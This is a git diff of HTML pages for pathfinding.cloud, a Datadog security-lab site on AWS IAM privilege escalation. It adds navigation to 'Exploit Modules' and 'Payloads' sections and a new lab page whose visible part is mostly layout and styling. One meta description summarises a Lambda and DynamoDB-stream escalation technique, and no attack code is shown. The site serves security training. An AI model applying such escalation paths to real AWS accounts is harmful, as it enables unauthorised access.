+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-001/index.html b/docs/labs/lambda-001/index.html
index 5a08e3e0..d6758854 100644
--- a/docs/labs/lambda-001/index.html
+++ b/docs/labs/lambda-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-002-to-bucket/index.html b/docs/labs/lambda-002-to-bucket/index.html
new file mode 100644
index 00000000..3f30a8b2
--- /dev/null
+++ b/docs/labs/lambda-002-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Function Creation + DynamoDB Event Source to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass scoped S3-access role to Lambda function, link to DynamoDB stream for passive execution without requiring InvokeFunction permission">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-002-to-bucket/">
+    <meta property="og:title" content="Lambda Function Creation + DynamoDB Event Source to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass scoped S3-access role to Lambda function, link to DynamoDB stream for passive execution without requiring InvokeFunction permission">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Function Creation + DynamoDB Event Source to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass scoped S3-access role to Lambda function, link to DynamoDB stream for passive execution without requiring InvokeFunction permission">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
